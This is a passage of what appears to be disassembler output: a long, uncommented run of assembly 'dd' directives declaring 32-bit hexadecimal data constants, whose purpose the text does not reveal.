0E909F145h, 0C19807D9h, 0D1595769h, 9C0B5D2Dh dd 0A01664DFh, 1FAF9D63h, 2CDBF164h, 90580506h, 0CCF6FFF5h dd 4457E1F1h, 0C1DDA8C1h, 5B592DEBh, 788F0D8Bh, 803B16D5h dd 0B8584Bh, 64C247B3h, 5041841Ah, 5935350h, 5DAA274Fh dd 0DEA37A6h, 4AC132D8h, 56324C8h, 0F764258Ch, 0C02F9B58h dd 254BCE60h, 48C8EA09h, 52418C11h, 0CB98A83Fh, 0CAC65FBFh dd 6E51D7A1h, 33D221A9h, 8AF0D189h, 9D008BBEh, 9FB5EE7h dd 2FC4EF6Eh, 0BDD5FDE9h, 220A0226h, 0C2509B47h, 7B12455Ah dd 1DAC2BBDh, 0CCF7008Ch, 0D3C75CA0h, 5528A870h, 2909BDFBh dd 7B1CADBDh, 4C84A51Fh, 0D9BEB13h, 2A0F6D4h, 0A1E4BFA7h dd 1C141C2Eh, 3049BC1Dh, 0A22F794Bh, 0C81A5BBDh, 19D32349h dd 26C7229Bh, 9BF1F187h, 7E207B01h, 134407D4h, 643F7845h dd 7E68C103h, 2A122F6Ah, 36E0B1A6h, 0F90B1B27h, 19E03203h dd 0A3F5AE47h, 1D985CECh, 85A81E9Bh, 0AE852613h, 90F431B0h dd 24342D85h, 25E8377Dh, 0EBB4197Fh, 7D2D6h, 2344656Dh dd 7F5403DBh, 42A36700h, 0BA2A78DAh, 2583904Ch, 0D57B5BDEh dd 0C6181B59h, 89FAC107h, 0ACF09499h, 96119D01h, 93311DE5h dd 68A98039h, 0D827EC69h, 96D94079h, 4BC777EFh, 4155CDF9h dd 42A6150h, 0EABCD4BBh, 0E37E2C8h, 0FCE9707Ah, 49E0120h dd 3CBE5ECBh, 27D1DEA5h, 9D2BCE71h, 5A7A78h, 0D92EB351h dd 3A80DFD4h, 386BB097h, 37BF2818h, 63DF12E2h, 566F61h dd 76680CE2h, 270F9DDDh, 1657DBB7h, 0CE0C422Bh, 3B7B1342h dd 0ACE8244Ah, 75E580D5h, 0F05F62h, 91F37BF6h, 97E89AD3h dd 0D95B4004h, 0A3BC23FFh, 29A5BDC2h, 4AF6DA1Dh, 23B92F16h dd 0E8122AE8h, 24FEE147h, 355A817Dh, 0A8382F17h, 7A044A3Fh dd 2F7517CFh, 2CE025EEh, 44A1001h, 0AA33AA7h, 6A8B9ED9h dd 9023A198h, 0BF0740DEh, 9025C0F2h, 0D6465C30h, 6A241446h dd 20591F18h, 0B125CBB0h, 5CCA7914h, 812C213Fh, 0F0B332C4h dd 0A27AF98Bh, 0F9E9A983h, 80CBEC2Bh, 7307999Ah, 0DD1A03AFh dd 6C8A19D9h, 42239DB8h, 0FC965B26h, 4DE27A60h, 9A8D3AFAh dd 0B76D2D80h, 679452A3h, 0D9965025h, 778BA0D0h, 8159B5A9h dd 9142C565h, 5E9BF380h, 53F565FBh, 0DE7BBA9Bh, 81D60E1Ch dd 891D649Bh, 0B566305Ah, 0DAC52D4Bh, 4FA9E6BAh, 670229B3h dd 0CB58AD25h, 1B217F40h, 0F25554B7h, 28D4515Eh, 2F953FECh dd 0E730A8Bh, 49465EAFh, 41B63855h, 0B4739D21h, 2D181651h dd 29C12B05h, 0E0EA5195h, 205A5053h, 0CD00AF6Eh, 0C873924Bh dd 5BB5260Ah, 0D7EC5A46h dd 0C9BAC450h, 0CEC9024Fh, 0E613252Fh, 7933E027h, 4A1103FAh dd 9026A47Dh, 17A96411h, 9F617576h, 0C50193DBh, 6C75E7CAh dd 1D23EC0h, 501CBFEFh, 6B5B56A3h, 38DBAAD2h, 3595DF8Bh dd 931B9113h, 6B5331FEh, 0C7C03AF1h, 5B6F92E4h, 0E338BE96h dd 0D5909F50h, 0A57A158Dh, 0C1F5F4B7h, 3A38B796h, 0C8FC9CE9h dd 53ECBF8h, 417BA7C5h, 0A96E0C3Dh, 603EB9E2h, 926D7F6h dd 1889B512h, 22E248E8h, 72B30B29h, 77ABB04Ah, 0AA5E8AF1h dd 40CD746Bh, 7A7B8F0Eh, 0BE7FC3Dh, 575F12B3h, 6CA574B5h dd 0AF6202C5h, 773DDE33h, 2CCAC35Eh, 9056403Ah, 5BF82517h dd 1A64C8EDh, 9F32B060h, 0BA66B909h, 4BC7B90h, 1208EDBDh dd 4F8F7704h, 55A3C0BCh, 6DF50987h, 0A9B0C091h, 9A976B1Bh dd 6589DDD9h, 0DA5CB942h, 83E3727h, 37004C94h, 7FF78157h dd 14A825A1h, 7D792F5Ch, 0A2E9ED8Bh, 0D4F8897Fh, 0F2E1E50Dh dd 96E04FB8h, 0BE9B97CDh, 0E742A4C8h, 4A12714Fh, 2ADDC9EAh dd 0BF4F6FE3h, 0A50245Dh, 8C120149h, 93B71Ch, 6EF3E258h dd 3B7D4B1h, 0B4E4A280h, 1B06CF5h, 0DA24833Ah, 464B081Fh dd 0CCED004Ah, 0C76190B6h, 430CF29Eh, 6C27A3FAh, 0D5BD2F0Bh dd 0D0F2A17Dh, 77DA0816h, 0E2124B1Bh, 4FF1502Ah, 2F69CB01h dd 0DE318923h, 6EDC8AC9h, 0A0BC84A9h, 50860F39h, 5788087Ch dd 7B980A3Ch, 34CE2ACDh, 0F5D305DEh, 0FB99350Bh, 14C98361h dd 0A4B2B83Eh, 80C2A8DAh, 9057CBBDh, 5CC569Ah, 4FD66171h dd 0F2FF003Ah, 99FDBF7Bh, 10786000h, 0B5BD33E0h, 0BBE3B604h dd 0BC0C9D12h, 3F9AB518h, 0CB76AEC0h, 0A1129832h, 0CE1C0920h dd 34AE2193h, 0C2BC9A25h, 5EFA8BCEh, 0A74C51ADh, 98B75F24h dd 0AE71E300h, 188687Eh, 0BB9BA3CEh, 2052026Ah, 0ED3F6CC3h dd 505B84EBh, 229488B7h, 48173D8h, 3AC1F3DFh, 149F259h dd 2F2DA4B2h, 0B471E787h, 249CCE2Ah, 92A564DAh, 0B379DDECh dd 0C98FAC80h, 0F2B375BCh, 5F4A2D06h, 0FF701B53h, 7911261Bh dd 584C0931h, 74AD1179h, 0C5EF0146h, 3B605B7Ah, 4CB867CCh dd 210B76B0h, 0A2DDFFB1h, 750383F4h, 64607ACFh, 25B7BB23h dd 0E5DBF88Ah, 44BAC20h, 204B0ACAh, 0B9C29A64h, 15976301h dd 3F01FF07h, 7FDC1FD5h, 80CF167Eh, 11D9EA4Ah, 8840B87Bh dd 0E781C087h, 8E255715h, 0B00AE659h, 0B6F2B766h, 0C5057525h dd 4CE4119Dh, 32C51075h, 0B300B038h, 8B70E6BEh, 7162E4FBh dd 552DC5D4h, 0C6455466h, 0F500CF33h, 215937CAh, 81013345h dd 4D6BC2C3h, 12E5F68h, 0ADBD31ACh, 0EE211D22h, 0BBA0002Bh dd 4B4ED05Ah, 62CF8102h, 5552560Ch, 0B988F976h, 0B4C89918h dd 4AD12DA9h, 86DAD5A0h, 5A71F858h, 0A9244DB1h, 62D6A207h dd 856AD702h, 13A5B1D5h, 40C9874Ch, 526EE90Dh, 0B5298417h dd 2B7BE5BBh, 8CDD9F37h, 0A431D7F6h, 55FC1235h, 710B4065h dd 0C71E7C19h, 9AE7906Ch, 530346D4h, 0B60933B0h, 695BA82Bh dd 0C3F351ABh, 0DB816800h, 0BA2C2798h, 5BE25E56h, 9FEF7597h dd 59783F40h, 1BCC4AFCh, 4C6FA7ABh, 732029FEh, 0A057938Bh dd 5F800B3Eh, 5B74DB9h, 0E2553269h, 2F495628h, 21C4006Dh dd 0E80073E2h, 8D5C4687h, 11002CDCh, 0CBC83AA4h, 7562B9Ch dd 0DA8160FCh, 0E51CCF46h, 645FE809h, 0A3D19573h, 0F325BA9Ch dd 6C1A80AEh, 80A221Fh, 17B7F100h, 41C16F48h, 0C8211792h dd 2D08BC18h, 5551FE14h, 3E7AECA5h, 767E72h, 0A2DBD4E5h dd 0FEBBB7Dh, 3774042Eh, 707A53ADh, 0E02CD4CCh, 82ADE6FCh dd 77880D6Bh, 636E4E6Fh, 89026003h, 9EA4A95Ch, 215E606Fh dd 0CC0EA0DCh, 0C72E6C1Bh, 10A0CA87h, 2D936933h, 5E563BBAh dd 0A5382C9h, 996555BEh, 785050h, 0A63430E0h, 0E7E1CE96h dd 120DF8CEh, 60BD7DACh, 0B6BE7124h, 5F09BD89h, 612D67D2h dd 0C4DA712Fh, 604B39h, 0BBB02450h, 0CF5D1201h, 0B741612Eh dd 32342EE3h, 0D8925EECh, 0BF3F301Ah, 99CF1358h, 1BE91904h dd 0E1FF5F03h, 2A80E1ACh, 7B102E8Eh, 25198404h, 2740E73Dh dd 3325C7C0h, 31DB6D1Bh, 52C41FCh, 0E024A6AAh, 829133Ch dd 0CC52EB1Bh, 0D6F368h, 0B35BE270h, 0CC813898h, 0FC320A17h dd 5D7BFFh, 5D4D97CBh, 4E629591h, 0DBF2F43Fh, 0C9B4F025h dd 8C2FE02h, 27FF09F1h, 1859D75Bh, 5A39EE18h, 58B9A56Dh dd 0D91A95BEh, 7700645Dh, 6E100378h, 0B568A150h, 207BCEA1h dd 6403B835h, 29DDBF6Bh, 5B618183h, 1517DD7Ch, 33705601h dd 41D069E9h, 292F08D2h, 0DE77766Ah, 627AB900h, 8BB7DC3Eh dd 0A5F097D8h, 0F3601640h, 9D9344DEh, 1E300304h, 0BCA46880h dd 0FA53EEA3h, 815B37DEh, 7B4740A0h, 0E72F8011h, 0C5B1F43Eh dd 8671AEFAh, 8C112211h, 0FF85080Ch, 7AFF8912h, 0F6E9134Bh dd 0E27AAE01h, 809BE4Bh, 0A6897F29h, 0B7897C53h, 56B055C9h dd 21425DBDh, 0E0C4B697h, 120D1EE6h, 93CD745h, 4DF5DA0Fh dd 4B7B49CEh, 0B3CBFD00h, 0A08D8008h, 812AB1DCh, 360CA89h dd 3D24BC1Fh, 0FE496D68h, 691DF4FCh, 8C8020CDh, 566057E7h dd 0F88B0929h, 0B7FD4689h, 0B00E8F31h, 14C178EFh, 0F240CC97h dd 0F76D427Fh, 41EEE040h, 0E9ED634Fh, 0B10197BCh, 0B4C4F623h dd 0B87F8615h, 0DFBFC5E7h, 4BF37380h, 4A99956Eh, 0A7826F56h dd 685B0025h, 0B0B9424h, 0D7525054h, 6FFB5D31h, 0DB0441F6h dd 0AE541497h, 0ED80A2DBh, 0D5D89E2Dh, 5E41BC32h, 13CF758Dh dd 3FE4CBE0h, 0E61105DEh, 0AEF357F0h, 1BF0F8Ch, 3992565h dd 2B6DB531h, 0AAF353AAh, 74E09B5Ah, 7D9440B9h, 55139A1Eh dd 52AA5B57h, 0E59BAF9Ah, 94E22B80h, 6AD2C0B7h, 559D1572h dd 614FA5D8h, 4F774E6h, 0F572ACA8h, 22E087B6h, 1495D9B3h dd 0F78F5F8Dh, 7692B211h, 17FD0B52h, 3BC03D76h, 1C5753h dd 5AF4EAC4h, 706786CBh, 0B5D2BC16h, 3C6270F9h, 5B0426A5h dd 0E143C8BFh, 0D1576E00h, 408328F0h, 5B681397h, 29B06021h dd 2E6239B5h, 5745E93Dh, 0EF6003EFh, 4118AFCh, 295379FAh dd 3589BA9Dh, 801DD7EAh, 3BB55FD2h, 0C9AEAE16h, 1EE857Ah dd 5E45D95h, 25452585h, 1011DB67h, 2E4B8351h, 411F0137h dd 6A083D85h, 16C8D5DBh, 3BE487C1h, 81B4302Bh, 8017D4CBh dd 6BFE2FDEh, 0C0184D13h, 51711C12h, 1DE49D98h, 5E32894Ch dd 6CADED12h, 0B78C17ACh, 823FE47Ch, 0EDD289E3h, 93E47F2Bh dd 555092B7h, 0E40117F4h, 5F116971h, 92D1F8h, 723DBB51h dd 96F219F1h, 0C5594D97h, 0E277AA49h, 60735599h, 5E8BD4D0h dd 0F0B2C8D9h, 307E4278h, 1F863300h, 2999945Ch, 0D492D91h dd 56AFAFFEh, 0AF00F6B7h, 0BBB19FBAh, 98AB30DDh, 200125BEh dd 0DFE8845Ch, 5B2F3509h, 0CC64A7BEh, 8832DB00h, 4A5F5C58h dd 0C38E35Bh, 75E8CAh, 26CDBF0Bh, 6E7B4CEFh, 8290810Eh dd 471E2020h, 274D0F87h, 0E354D9C5h, 3651ADh, 0E4250CB5h dd 79B734A1h, 0C618429Ch, 8644324Ah, 0E4A50B95h, 972900C4h dd 2235248Bh, 2C09A278h, 5BCE339Fh, 0E26DAD94h, 77BBE340h dd 12FB0249h, 7C46A794h, 315A582h, 289C5309h, 0CDC79DECh dd 0EB938010h, 0CE07377Ah, 0C2EEBB98h, 0F35C0C8Fh, 0B1D35E2h dd 200075C4h, 7787D36h, 480AB68h, 589B2216h, 0A5F6AF79h dd 0C4409CA5h, 0E24F8E0Eh, 0BA5EA1D0h, 206A96D8h, 0E19FEA9Dh dd 92D8613h, 50F2C0AAh, 43B68F0Fh, 0D7D8609Eh, 4F61F21Ch dd 80D5DB96h, 7178274Dh dd 84EB12D5h, 2EEE2F0h, 0E1C3B043h, 5B9496C2h, 652AAA17h dd 37E5BED2h, 3424F02Eh, 0A3CAA84Ah, 0BF704E38h, 0D57A11FBh dd 8904AFD9h, 0BEAC55BDh, 0EF7FF8CBh, 7E0342A7h, 8252AF5Ch dd 0D725716Fh, 5460B73Ah, 2F8505D9h, 0F1223D6h, 81C04FB9h dd 3A8817C7h, 0F023672Dh, 556795C8h, 9A4C4511h, 0EF0D0D34h dd 18152C8h, 0BAFE1295h, 6A327CF8h, 1CA8D2ADh, 4600DCACh dd 902052B7h, 263BA2Bh, 53CBBF4Eh, 98F0190Fh, 0AB5967B5h dd 62275851h, 0F8B4290Fh, 6BB908A6h, 0D2F2EBF5h, 810A57FCh dd 0A200DE12h, 3D2E8F7Bh, 0B78D8907h, 0F592C2D1h, 52FE1B16h dd 0AC88AD02h, 7ABF8C17h, 9BBECACh, 66CBB939h, 0D14060E2h dd 2EA207C5h, 0EF5FD862h, 58684080h, 97067ABCh, 8123BB66h dd 4F25F8BCh, 0F021B608h, 2766BB36h, 225543F2h, 5FD88B17h dd 938970E1h, 84FE60C6h, 2A2FCD4Bh, 0BF8E10B2h, 30D7112Bh dd 0EC952FCEh, 75301F07h, 4C5DECFh, 0BBF2057Eh, 9AA91C16h dd 7E5AD889h, 0D03EDBBDh, 6F01EAA1h, 0B4CB2093h, 0C620E862h dd 0CD044A1Dh, 446A6A7Fh, 12776127h, 33047795h, 94B8AE14h dd 0C4308FC7h, 0B715C068h, 7EB5086Bh, 0A051E979h, 9EBA9F44h dd 0FF3DCBD8h, 0A85D522h, 8B4429h, 0E56BD222h, 0C46238A3h dd 0B08CE00Bh, 5C2277F2h, 0ED759050h, 0EE09C71Bh, 0EC2756Eh dd 677C412Dh, 4C36A140h, 1FFA0187h, 0EE5A29A0h, 45852068h dd 20EC0E5Ah, 0A8E300AEh, 4B52586Eh, 7E5C09A9h, 0F3596BE9h dd 925CDC2h, 134092F0h, 4F669831h, 0A062B70Ch, 48ABC08h dd 8BE74DD1h, 388D8CD9h, 797F4603h, 0A0F41F6Eh, 4F576485h dd 3F33AA77h, 802F010Eh, 0F90A9D94h, 0A4752AFCh, 2F06C8h dd 687C2E4Ch, 0B045EC6h, 0B7B24200h, 3849E29Eh, 16C58058h dd 97E8558Ah, 7303A5BBh, 310F3D4Ah, 8C618B60h, 0A2932BE8h dd 0FFFC00E8h, 847D6A2Ch, 0BD2B0912h, 5710A69h, 0E99D0E49h dd 5AF05620h, 0F9056455h, 6ED5EEA5h, 6A9581D5h, 55F9D7E6h dd 450B9C26h, 0E7A8E81Bh, 0D89C4AC6h, 14022F7h, 2EBF0B66h dd 6C48B0FCh, 44B770E6h, 0F4841FF5h, 60B840CCh, 19B418A1h dd 0A7615F3Dh, 9FCAE62Bh, 0B3257DFAh, 0F00BC9ACh, 2A58A115h dd 0D790FB18h, 53AE3439h, 0B952AAD4h, 3F81F2BFh, 5B2B58B7h dd 0BDBC5620h, 0C48412AFh, 84AFAC12h, 500C2209h, 54B7DB62h dd 71BB010Ch, 41657F9Bh, 33DA1h, 520FC82Bh, 510ED089h dd 0FD2427BFh, 0D7C0AA04h, 0A0B2E380h, 29AD1789h, 16C490E9h dd 2F8AA885h, 8261FC49h, 618D0907h, 56C69255h, 4AAD1116h dd 981424D2h, 0B402E5E6h, 0AA72A550h, 0FB5DE92Fh, 256425F0h dd 8501189Fh, 0BC630030h, 3671F57h, 5B4B1740h, 98EE3085h dd 112DBD43h, 4FEE5124h, 0DD88DFA9h, 8C0F0465h, 0BBCDEE1Ah dd 0E925A76Dh, 5652A179h, 0A812E135h, 0D6ED2E07h, 0D9F66FB9h dd 575B5209h, 2B02EBFCh, 536A5F84h, 0B6FB786Dh, 80B4C538h dd 8DD38105h, 9773292Eh, 447E5B1Ah, 529602DCh, 6425709h dd 71CAC277h, 7BE8071Bh, 255F11FDh, 0C5CB3E95h, 0B3920F7Ah dd 0EDDDB96Dh, 8609FF3Dh, 0D4E87F1Bh, 0AC3FD05h, 85B8F98Bh dd 79ECB4A9h, 7A2D03F8h, 618277B4h, 3775D22Bh, 751300E1h dd 0E53E9D20h, 24ABD85Eh, 1BE3AF99h, 8A95C8D6h, 0AC6EFE4Eh dd 1F8ED4Eh, 189DC2D6h, 0FA2864C0h, 0B700AA93h, 0B3B56E2h dd 8410978Bh, 189D810Fh, 95086DE2h, 9291F26Eh, 0F69002BDh dd 60D754DBh, 0E334FBDh, 37861B7Eh, 0BC8AC9E0h, 0F94BCC8Ch dd 0F6EE6A95h, 97ADF029h, 0B35E25AFh, 525C6B5Ch, 0C110648Dh dd 0D0884E12h, 0A258001Eh, 0AE27D34Ch, 0E13A1394h, 840704B2h dd 0E0F5DCh, 0A60645Fh, 0B915D1CAh, 5B51002Ah, 61FE9561h dd 3B432351h, 0ED1C5F8Dh, 0D8B7C4E1h, 0F76AB5C2h, 5EAA77F1h dd 31E1FF13h, 71209309h, 0AF65C46Bh, 9A0CFE7h, 2C038E23h dd 4061F34Bh, 4B8C75C5h, 348D8AD7h, 0D86F6B4Bh, 0BDCBE702h dd 0D0403894h, 10B6426h, 0D5088985h, 0DE4BE11Ch, 857AEEh dd 52F1BD56h, 80121BAAh, 60810B75h, 8571EC2Ah, 0E2BF8C66h dd 3F6D0019h, 0A6E2BDA1h, 467E1264h, 3A1E1D5h, 0B9EC138Ch dd 1651C7Bh, 0A8377527h, 0FE28170Ah, 0C9A4FE2Dh, 4FB0F49Bh dd 0BE256DEAh, 59585B84h, 25A81815h, 13F7907Eh, 7C80B2A7h dd 290B6997h, 0B95414FFh, 0A24E17F7h, 0C94B01D7h, 0BA1E9D40h dd 2D99E87Bh, 0F53FE15Bh, 5A59B82Eh, 3FF094E6h, 0D20039A2h dd 1BB5210h, 0B84E73E7h, 49BF1269h, 0A49ABFFBh, 0AF2D2400h dd 4EFE3E74h, 1250CA25h, 72EC7D43h, 617D8B6Fh, 1275A3ADh dd 0F93DE9E6h, 12B7E33Fh, 62F658D9h, 1A71D7E0h, 12A60F2Dh dd 0C6707DD4h, 55F02927h, 29D4F212h, 2098D08h, 10019D33h dd 85CBBA7Fh, 0D7AF5598h, 0AEDE69B1h, 0E9FA12FCh, 8B7E919Fh dd 59A66AFBh, 6294BF09h, 4E9DE470h, 0EF76BFA0h, 824D91C2h dd 552EFDFFh, 149144B7h, 0BC602A84h, 5B612DFEh, 25BD0B6Bh dd 37FD9FCAh, 6BBE80D9h, 6E4E9AE1h, 0B602603h, 761B958Dh dd 7612063h, 278245B5h, 35503D53h, 893B12EAh, 0FAE6BE46h dd 0D4F7D9F0h, 8A9F2D28h, 25BBFE4Fh, 0F8D6E0CDh, 83ED51BFh dd 9CCA58B6h, 0B4727ED8h, 81968B2Ch, 5D3DB5E2h, 4C00C16Eh dd 0D39F0C07h, 1278A008h, 0E36C3AD0h, 0F94150EAh, 2682640h dd 3C42928Dh, 0DC5CDD8Ah, 5D917207h, 8D32609Dh, 0FE858D16h dd 0B7C251DEh, 0E6DDF660h, 99F95B23h, 0B8D979FDh, 537E003Bh dd 0FA5D2C28h, 0A1A6603Dh, 82C35CBDh, 7AB3FD49h, 6CAD6A41h dd 1AD4ABCh, 0DCCDE59Dh, 776DEDC0h, 0CD6B69BBh, 4B0BCF7Fh dd 0C6007D5Bh, 0B1C1BF6Fh, 50F70025h, 0D3813B90h, 0D52F48E7h dd 0D2D9FC08h, 5ADCBBFCh, 16D3B62Ah, 9AAA0F71h, 602EFD47h dd 0D36EE58Ch, 5B01F097h, 0A04FA719h, 0ED451F5h, 85C07F17h dd 0B8BED3E4h, 1D0A36Eh, 9470BF57h, 4BF51801h, 27D778E3h dd 0D522D509h, 0FDC0DF95h, 599B5548h, 291EF765h, 0FE0317B5h dd 0CC26F36Dh, 436F5AF0h, 0A042E10Ch, 97FE6E32h, 0CE59711Ah dd 579D2B89h, 3350E1C1h, 0CFC14B63h, 868212CDh, 0B0B4619Fh dd 0CD95DCF8h, 3485C094h, 9A025C25h, 0FBDBF3Bh, 575B7788h dd 2EE53C84h, 3FECB1ABh, 9E2E5BCh, 5549E65Eh, 1D91E535h dd 672D0C80h, 0F2B755A1h, 89F0164Ch, 4F1EF9BDh, 2F513812h dd 298093CFh, 5BB7350Ah, 0A269FFD7h, 1BB0D726h, 10B7370Ah dd 95CD1Eh, 0BA7DD836h, 641FDE45h, 55536101h, 7AFCBFF4h dd 0B518D83Ah, 95270520h, 5C035B89h, 0BE236EDh, 0B72D445Ch dd 0FFDB1767h, 0D580292Ah, 13734BACh, 9E23FBBFh, 8117A215h dd 45E152D7h, 0A053CA3Fh, 548EC4Bh, 3E2379AAh, 66BFB93h dd 94001923h, 0E20B0CAh, 5196247Dh, 6270ADB3h, 970D9BBh dd 7AF00033h, 0CFB75263h, 0BD2A035Bh, 51BDE969h, 45015417h dd 56074690h, 202F66D6h, 0B1382880h, 8ADFFE0Fh, 0B23F8072h dd 74583492h, 4C020068h, 0BFFBE533h, 0E21225CDh, 43E35F12h dd 0BBFAFA64h, 3C335220h, 0D3460054h, 0E717AC41h, 56B75FB8h dd 0BFB07B1Ch, 13B650DAh, 0B218FF40h, 59530465h, 0AB694915h dd 404918A8h, 6EB8D55Dh, 646D6D95h, 0F80C6016h, 9876B74Eh dd 0F3FFFE64h, 29BD0942h, 2952D209h, 49E0264Dh, 0D17D7D09h dd 0C7659600h, 0E70C1421h, 0DDFEA150h, 2FDD5A61h, 3C5A382Eh dd 0D9B72584h, 60714AC6h dd 90585630h, 4AC5B6F1h, 0A39C8861h, 92A51001h, 311641DDh dd 168D24E0h, 0ED7A8894h, 7F612F23h, 0BBD01613h, 0C650EA72h dd 795AA107h, 8690A5B3h, 9235280h, 0BAF42DC6h, 0F62E0997h dd 460BDC76h, 0FFEA838Ah, 0B14B986Ch, 7AFFFC13h, 9566071Eh dd 39B7D311h, 7DB531D1h, 0FA2B77Fh, 0BC526A9Bh, 0F054A680h dd 27B96655h, 51022328h, 81001999h, 0BD68BEC3h, 4F9513B0h dd 0BC0028FEh, 0EF6F762Ah, 38E041BFh, 379705A3h, 3F2EB27Ah dd 0CD930066h, 8113048Bh, 4BA309C0h, 0A71A7033h, 2694F5h dd 2601F467h, 1A58F081h, 83F6E6EFh, 0D5CA8340h, 33180336h dd 0E4548A51h, 0C305C9B8h, 71346460h, 3B4B7D30h, 0A54B8D8Bh dd 0B882A013h, 0B0F50144h, 0EAC38336h, 5D4C4160h, 8D29F989h dd 61B9C05Dh, 10FA1481h, 0FB4AF798h, 18B171C8h, 0F28E943h dd 84F2BE90h, 98A55600h, 88AF316Ah, 19D5028Fh, 0DB8D755Eh dd 0F4068780h, 4EDC74E9h, 1354B780h, 7D49A1h, 848AA61h dd 1DBEE1Fh, 0A83A5C00h, 0BCAFE07Eh, 57763AD6h, 75DE8600h dd 0CD274704h, 0E26AF70Ch, 0D45D09D4h, 4707D321h, 4102EF74h dd 9FCF2DA1h, 72C05518h, 4AD2825Bh, 2CFC7Bh, 98DB2B97h dd 103DA481h, 0CD4D2300h, 56BEE930h, 63FF02BAh, 0E087CA8Dh dd 0E4A92A40h, 0FB0E18C0h, 48A0BC55h, 873723DEh, 25668060h dd 0FD030717h, 5B87A2Ah, 91083023h, 172DC721h, 3A26C100h dd 0C09244D5h, 74A83FDDh, 67D1098Eh, 607B5BE7h, 8CBF5610h dd 0D98639C1h, 0C986BAD2h, 19E009B3h, 2943870Dh, 9091B165h dd 172780A4h, 8C1AFD05h, 1C59B44h, 78E9172Fh, 0C1B30A6Ch dd 575983E1h, 4693CD1h, 0B4099590h, 0E9890162h, 188C9BC0h dd 181086D6h, 4637B9C0h, 0F4A76h, 24EB07DCh, 0B504E005h dd 0E2A4B950h, 89363Eh, 447EE3F4h, 872EF5h, 316F1421h dd 8B5279CAh, 8CDC276h, 1CC02135h, 98E1056Fh, 0EECD15h dd 4A27EB8Ah, 0DD03E582h, 5F3BF343h, 48310E4Ch, 418F3184h dd 64081401h, 0C65FC4B0h, 864E5200h, 78CB043Fh, 11721880h dd 2A240EDh, 0EE6B18A0h, 0BE49C104h, 59182E26h, 0B5001541h dd 2FD76E63h, 60ACE189h, 5B656934h, 6800DFBBh, 9874FAE6h dd 515E206h, 8623B8Bh, 237C2F2Fh, 0C0090036h, 0E7069FC4h dd 21E8B403h, 33AE57h, 12142579h, 0AF76CB1Dh, 0F3A1F400h dd 3B34F02Fh, 0C2EEAA6h, 4F52AE92h, 6E0388C8h, 0A70F4D7Dh dd 0D8EFD001h, 7A2B095Ah, 2300743Bh, 0CB5E027Fh, 2F008CE8h dd 928E9D8Ah, 0E6A45790h, 9564006Ch, 555D733h, 0FD0B6DB3h dd 80FAD240h, 17B2F911h, 8720031h, 1979D87Bh, 43005C7Ah dd 0D2E415C3h, 3F04D11Eh, 909F1D84h, 0A88B4791h, 5B104C7Ah dd 2E156000h, 84BCB6F4h, 85E66FCh, 0B8002188h, 42251568h dd 0FABA5394h, 7DA001Eh, 87DC4FE0h, 60CE4375h, 86F890CAh dd 0A0B3058Ch, 0C6603293h, 340059FDh, 437B9221h, 3AC6906Eh dd 1060D53Bh, 623A33B8h, 570D4F0Eh, 56C5471Fh, 21CB46h dd 8B3A1B99h, 18F4E3D0h, 740368DFh, 1D512A53h, 7E160C0h dd 0B1507E32h, 40F8E448h, 56239414h, 0F1E34E40h, 0C8928130h dd 66C085D8h, 0E9F43015h, 0BA888718h, 7915026Eh, 0D7D3A854h dd 5E80CC80h, 18039E1Dh, 0CBA7F1BDh, 4D1819E7h, 188A6089h dd 33150861h, 85C4CEF4h, 1569B543h, 0A7326ED8h, 1B443504h dd 4838AD5h, 5F42AC0Bh, 0A08447B3h, 3A2F60CAh, 2D4F2366h dd 950BC411h, 7833A17h, 0A7C87CEFh, 0FA1FB86Dh, 9C80814Dh dd 121DBA9Fh, 3014605Ch, 1B4A10D8h, 74525500h, 2EB357B9h dd 5CD130B6h, 83FB9021h, 0F7E3EF0Ah, 2B41B4EEh, 0F6127416h dd 199CC090h, 808D6A3Dh, 1CBC5FB5h, 117A752Ah, 0D6EFDBh dd 0C170C739h, 1BAFB4Dh, 0AE77DA2Eh, 708CE24Ah, 10035084h dd 17C20801h, 78980160h, 1320D8B5h, 2369801Eh, 94C34780h dd 76E4399Ch, 212B09E6h, 47888300h, 0AADA391Eh, 574B000Eh dd 95560ABAh, 982A6E5Fh, 530A9871h, 0C050945Eh, 8646E420h dd 2F156502h, 0AC336EF4h, 156DB943h, 4A6132E8h, 9C41BB00h dd 837371F2h, 2438508Eh, 57981454h, 0E119ECEEh, 188968B1h dd 34150862h, 80C4C6F4h, 156AB640h, 0D300D944h, 2C4C6B0Fh dd 7AE7EE89h, 0E0C9C03Ah, 0D5EDB1A4h, 617F4D12h, 0BC3E2004h dd 32C0C508h, 214F613Ah, 0BF9156F5h, 3A1A9A00h, 7F824145h dd 0E36D210Ah, 9641F0ECh, 80C67643h, 39E05DFCh, 75883FABh dd 63345307h, 0A738C01Bh, 920C469Eh, 0F943986Ah, 3CA300ADh dd 75C1D634h, 80010D3h, 0F58F1F36h, 302B9024h, 5D4068ACh dd 0A060C6F0h, 8117658h, 0E5180014h, 4F02F264h, 70506C56h dd 2E6013D8h, 21B9E799h, 0EA7F00A5h, 30498DCBh, 7200BB40h dd 0F6B07DA8h, 3F18AE9h, 3A5F7EDFh, 0F100C73Bh, 749DA1C3h dd 1F3CC0h, 410FB1ECh, 469764FAh, 2A72F500h, 9CBAE3FCh dd 0D03B30C2h, 65F8D339h, 0DBBCA00h, 0EB227FD8h, 0A4B70163h dd 70DDFC18h, 0B028B102h, 930042F4h, 0F380BDB0h, 0F22F005Ch dd 0E6D04DDBh, 7C1E5729h, 0DF408044h, 11E5026Dh, 9F20000Eh dd 0D163B135h, 8926E05h, 0F9141330h, 6DBD56h, 0A34236A6h dd 897DBC84h, 0CBF80813h, 5700C41Eh, 0EE278F4Ch, 7F10AE4h dd 0C8F2AFh, 0B94D04Fh, 0FB07E058h, 4CC86A35h, 48DCEF22h dd 17DB14Ch, 0A3985169h, 0E43DF110h, 1201041Ch, 0C290CD3Ah dd 884834A7h, 78460057h, 0DDBC284Ah, 7F165563h, 2201127Ch dd 2AE1421Eh, 0C098F09Ch, 9D70712Ch, 4C006EC6h, 0F1FEF5B1h dd 7E25CFh, 76C9C872h, 9568A7EDh, 0A3F0707Dh, 31E6B10Eh dd 0C8C3A323h, 0DDB33Bh, 2484FB10h, 0BBADED29h, 8F60D924h dd 0DEA13406h, 8618C020h, 0C9CAE450h, 132DF308h, 80D29E32h dd 0FC3E5358h, 98C0F172h, 7870A46Dh, 0CBF30073h, 0C80E9D54h dd 0E603C393h, 9841F846h, 66A80E49h, 0DDEC76DFh, 4C0061D1h dd 580CCF5Ch, 0DA1FEAh, 0C2A831FBh, 1397B5DEh, 0EDC32000h dd 1AAF51CEh, 0F4E7E22h, 4ACA1BBAh, 